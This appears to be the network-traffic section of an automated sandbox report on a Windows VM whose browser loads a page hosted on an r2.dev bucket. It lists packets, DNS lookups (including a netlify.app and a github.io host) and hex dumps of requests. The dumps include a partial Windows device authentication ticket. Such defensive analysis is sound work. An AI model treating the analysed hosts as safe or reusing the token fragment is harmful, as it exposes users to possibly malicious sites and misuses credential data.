Sep 29, 2024 00:59:34.908770084 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:34.908783913 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:34.909034967 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:34.910903931 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:34.910965919 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:34.910972118 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:34.911134958 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:34.955408096 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:35.082420111 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:35.082652092 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:35.082717896 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:35.083417892 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:35.083444118 CEST	443	49754	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:35.083458900 CEST	49754	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:43.243159056 CEST	49716	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:59:43.247961044 CEST	80	49716	172.66.0.235	192.168.2.6
Sep 29, 2024 00:59:54.016155005 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.016274929 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.016376972 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.016953945 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.016988993 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.831053019 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.831130981 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.850045919 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.850095034 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.850399017 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.855714083 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.855791092 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.855798006 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:54.856138945 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:54.903399944 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:55.033451080 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:55.033576012 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 00:59:55.033633947 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:55.034132957 CEST	49756	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:59:55.034152985 CEST	443	49756	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:00.767528057 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:00.767585039 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:00.767647028 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:00.767920971 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:00.767934084 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:01.425177097 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:01.425502062 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:01.425527096 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:01.425940990 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:01.426254988 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:01.426315069 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:01.477144003 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:11.323184967 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:11.323247910 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:11.323309898 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:12.702699900 CEST	49758	443	192.168.2.6	142.250.184.228
Sep 29, 2024 01:00:12.702738047 CEST	443	49758	142.250.184.228	192.168.2.6
Sep 29, 2024 01:00:19.158792019 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.158840895 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.158998013 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.159697056 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.159709930 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.945832968 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.946147919 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.950659037 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.950680017 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.950942039 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.952765942 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.952975988 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.952975988 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:19.952991962 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:19.999406099 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:20.124149084 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:20.124277115 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:20.124653101 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:20.124684095 CEST	443	49760	40.115.3.253	192.168.2.6
Sep 29, 2024 01:00:20.124696970 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:20.124696970 CEST	49760	443	192.168.2.6	40.115.3.253
Sep 29, 2024 01:00:20.124705076 CEST	443	49760	40.115.3.253	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 00:58:56.508503914 CEST	53	63231	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:56.529711962 CEST	53	59343	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:57.552544117 CEST	53	60813	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:57.749836922 CEST	64952	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:57.751682997 CEST	65253	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:57.759598970 CEST	53	64952	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:57.762644053 CEST	53	65253	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:58.253372908 CEST	59791	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:58.253812075 CEST	55708	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:58.261517048 CEST	53	59791	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:58.263313055 CEST	53	55708	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.300451040 CEST	58671	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:59.301091909 CEST	57092	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:59.302875042 CEST	50812	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:59.303558111 CEST	63649	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:58:59.308068037 CEST	53	52220	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.309494019 CEST	53	58671	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.310142994 CEST	53	57092	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.311578035 CEST	53	50812	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.312993050 CEST	53	63649	1.1.1.1	192.168.2.6
Sep 29, 2024 00:58:59.313445091 CEST	53	49180	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.818583012 CEST	64684	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.818886042 CEST	57169	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.825232029 CEST	53	64684	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.825541019 CEST	53	57169	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.841351032 CEST	49632	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.841933966 CEST	54218	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.849801064 CEST	53	54218	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.849817038 CEST	53	49632	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.967031002 CEST	53186	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.967031002 CEST	56159	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:00.974730968 CEST	53	53186	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:00.975590944 CEST	53	56159	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:01.649143934 CEST	53	54938	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.287544012 CEST	59803	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.288074970 CEST	54348	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.295993090 CEST	53	59803	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.297116995 CEST	53	54348	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.299479961 CEST	51674	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.300059080 CEST	64253	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.309206009 CEST	53	51674	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.309247017 CEST	53	64253	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.315888882 CEST	53	54306	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.321815014 CEST	57124	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.323843002 CEST	64703	53	192.168.2.6	1.1.1.1
Sep 29, 2024 00:59:02.332201004 CEST	53	57124	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:02.333849907 CEST	53	64703	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:15.190041065 CEST	53	55849	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:34.197747946 CEST	53	64662	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:56.098521948 CEST	53	52042	1.1.1.1	192.168.2.6
Sep 29, 2024 00:59:56.642297983 CEST	53	54509	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 29, 2024 01:00:10.638411999 CEST	192.168.2.6	1.1.1.1	c2f7	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 00:58:57.749836922 CEST	192.168.2.6	1.1.1.1	0xff95	Standard query (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:57.751682997 CEST	192.168.2.6	1.1.1.1	0xec1e	Standard query (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 00:58:58.253372908 CEST	192.168.2.6	1.1.1.1	0xeec1	Standard query (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:58.253812075 CEST	192.168.2.6	1.1.1.1	0xd578	Standard query (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 00:58:59.300451040 CEST	192.168.2.6	1.1.1.1	0xab6d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.301091909 CEST	192.168.2.6	1.1.1.1	0xc6c1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 00:58:59.302875042 CEST	192.168.2.6	1.1.1.1	0xe4ab	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.303558111 CEST	192.168.2.6	1.1.1.1	0x1c01	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 00:59:00.818583012 CEST	192.168.2.6	1.1.1.1	0xdfd7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.818886042 CEST	192.168.2.6	1.1.1.1	0x3f36	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 00:59:00.841351032 CEST	192.168.2.6	1.1.1.1	0xd276	Standard query (0)	bestfilltype.netlify.app	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.841933966 CEST	192.168.2.6	1.1.1.1	0x445e	Standard query (0)	bestfilltype.netlify.app	65	IN (0x0001)	false
Sep 29, 2024 00:59:00.967031002 CEST	192.168.2.6	1.1.1.1	0xd2e	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.967031002 CEST	192.168.2.6	1.1.1.1	0xe3d4	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false
Sep 29, 2024 00:59:02.287544012 CEST	192.168.2.6	1.1.1.1	0xfde0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.288074970 CEST	192.168.2.6	1.1.1.1	0x3b5a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 00:59:02.299479961 CEST	192.168.2.6	1.1.1.1	0x2fe6	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.300059080 CEST	192.168.2.6	1.1.1.1	0x52ae	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 00:59:02.321815014 CEST	192.168.2.6	1.1.1.1	0x1eee	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.323843002 CEST	192.168.2.6	1.1.1.1	0x442b	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 00:58:57.759598970 CEST	1.1.1.1	192.168.2.6	0xff95	No error (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:57.759598970 CEST	1.1.1.1	192.168.2.6	0xff95	No error (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:58.261517048 CEST	1.1.1.1	192.168.2.6	0xeec1	No error (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:58.261517048 CEST	1.1.1.1	192.168.2.6	0xeec1	No error (0)	pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.309494019 CEST	1.1.1.1	192.168.2.6	0xab6d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.309494019 CEST	1.1.1.1	192.168.2.6	0xab6d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.309494019 CEST	1.1.1.1	192.168.2.6	0xab6d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.309494019 CEST	1.1.1.1	192.168.2.6	0xab6d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.311578035 CEST	1.1.1.1	192.168.2.6	0xe4ab	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.311578035 CEST	1.1.1.1	192.168.2.6	0xe4ab	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:58:59.312993050 CEST	1.1.1.1	192.168.2.6	0x1c01	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 00:59:00.825232029 CEST	1.1.1.1	192.168.2.6	0xdfd7	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.825541019 CEST	1.1.1.1	192.168.2.6	0x3f36	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 00:59:00.849817038 CEST	1.1.1.1	192.168.2.6	0xd276	No error (0)	bestfilltype.netlify.app		35.156.224.161	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.849817038 CEST	1.1.1.1	192.168.2.6	0xd276	No error (0)	bestfilltype.netlify.app		3.72.140.173	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.974730968 CEST	1.1.1.1	192.168.2.6	0xd2e	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.974730968 CEST	1.1.1.1	192.168.2.6	0xd2e	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.974730968 CEST	1.1.1.1	192.168.2.6	0xd2e	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:00.974730968 CEST	1.1.1.1	192.168.2.6	0xd2e	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.295993090 CEST	1.1.1.1	192.168.2.6	0xfde0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.295993090 CEST	1.1.1.1	192.168.2.6	0xfde0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.297116995 CEST	1.1.1.1	192.168.2.6	0x3b5a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 00:59:02.309206009 CEST	1.1.1.1	192.168.2.6	0x2fe6	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.309206009 CEST	1.1.1.1	192.168.2.6	0x2fe6	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.309206009 CEST	1.1.1.1	192.168.2.6	0x2fe6	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.309206009 CEST	1.1.1.1	192.168.2.6	0x2fe6	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.332201004 CEST	1.1.1.1	192.168.2.6	0x1eee	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.332201004 CEST	1.1.1.1	192.168.2.6	0x1eee	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.332201004 CEST	1.1.1.1	192.168.2.6	0x1eee	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:02.332201004 CEST	1.1.1.1	192.168.2.6	0x1eee	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:07.929729939 CEST	1.1.1.1	192.168.2.6	0x68ad	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 00:59:07.929729939 CEST	1.1.1.1	192.168.2.6	0x68ad	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:49.314718962 CEST	1.1.1.1	192.168.2.6	0x9f60	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:59:49.314718962 CEST	1.1.1.1	192.168.2.6	0x9f60	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev

https:

code.jquery.com

cdnjs.cloudflare.com

gtomitsuka.github.io

bestfilltype.netlify.app

fs.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	172.66.0.235	80	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:58:57.776828051 CEST	468	OUT	GET /index.html HTTP/1.1 Host: pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 29, 2024 00:58:58.237333059 CEST	524	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 28 Sep 2024 22:58:58 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Sat, 28 Sep 2024 23:58:58 GMT Location: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ca757599839429a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 29, 2024 00:59:43.243159056 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:58:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6c 62 37 6f 6f 46 4c 52 71 45 36 56 77 72 2b 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 39 66 36 36 34 32 39 36 66 61 36 32 35 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: lb7ooFLRqE6Vwr+d.1Context: 8f9f664296fa6256
2024-09-28 22:58:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-28 22:58:56 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6c 62 37 6f 6f 46 4c 52 71 45 36 56 77 72 2b 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 39 66 36 36 34 32 39 36 66 61 36 32 35 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: lb7ooFLRqE6Vwr+d.2Context: 8f9f664296fa6256<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 22:58:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6c 62 37 6f 6f 46 4c 52 71 45 36 56 77 72 2b 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 39 66 36 36 34 32 39 36 66 61 36 32 35 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: lb7ooFLRqE6Vwr+d.3Context: 8f9f664296fa6256<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 22:58:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 22:58:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 36 2f 51 64 36 4f 6f 42 55 61 49 47 37 39 65 59 68 6f 4d 63 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: q6/Qd6OoBUaIG79eYhoMcQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49718	172.66.0.235	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
